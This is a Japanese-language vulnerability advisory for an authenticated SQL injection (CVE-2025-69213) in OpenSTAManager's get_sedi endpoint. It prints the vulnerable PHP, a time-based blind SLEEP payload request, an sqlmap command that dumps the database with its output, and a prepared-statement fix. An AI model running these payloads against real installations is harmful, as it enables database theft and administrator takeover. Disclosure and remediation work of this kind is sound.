lukasz-rybak/cve-2025-69213CVE-2025-69213 - OpenSTAManager の ajax_complete.php（get_sediエンドポイント）にSQLインジェクションがあります
| フィールド | 詳細 |
|---|---|
| CVE ID | CVE-2025-69213 |
| 深刻度 | HIGH |
| アドバイザリ | アドバイザリを確認 |
| 発見者 | Lukasz Rybak |
ajax_complete.php エンドポイントにおいて、get_sedi 操作の処理中にSQLインジェクションの脆弱性が存在します。認証された攻撃者は idanagrafica パラメータを介して悪意のあるSQLコードを注入し、不正なデータベースアクセスを実現できます。
ファイル: modules/anagrafiche/ajax/complete.php:28
case 'get_sedi':
$idanagrafica = get('idanagrafica');
$q = "SELECT id, CONCAT_WS( ' - ', nomesede, citta ) AS descrizione
FROM an_sedi
WHERE idanagrafica='".$idanagrafica."' ...";
$rs = $dbo->fetchArray($q);
$_GET['idanagrafica'] → get('idanagrafica')$dbo->fetchArray($q) が悪意のあるクエリを実行する手動PoC (時間ベースのブラインドSQLi):
GET /ajax_complete.php?op=get_sedi&idanagrafica=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1 HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=<valid-session>
SQLMapによる悪用:
sqlmap -u "http://localhost:8081/ajax_complete.php?op=get_sedi&idanagrafica=1*" \
--cookie="PHPSESSID=<session>" \
--dbms=MySQL \
--technique=T \
--level=3 \
--dump
SQLMap出力:
[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: idanagrafica=1' AND (SELECT 2572 FROM (SELECT(SLEEP(5)))oOnc)-- rhVF
back-end DBMS: MySQL >= 5.0.12
zz_users テーブルの改ざんによる管理者アクセスの取得SELECT ... INTO OUTFILE を介して直接連結をプリペアドステートメントに置き換えてください:
修正前:
$idanagrafica = get('idanagrafica');
$q = "SELECT ... WHERE idanagrafica='".$idanagrafica."' ...";
修正後:
$idanagrafica = get('idanagrafica');
$q = "SELECT ... WHERE idanagrafica=".prepare($idanagrafica)." ...";
発見者: Łukasz Rybak
本CVEは、調整された脆弱性開示の慣行に従って責任を持って開示されました。ここに提供される情報は、教育および防御目的にのみ使用されるものです。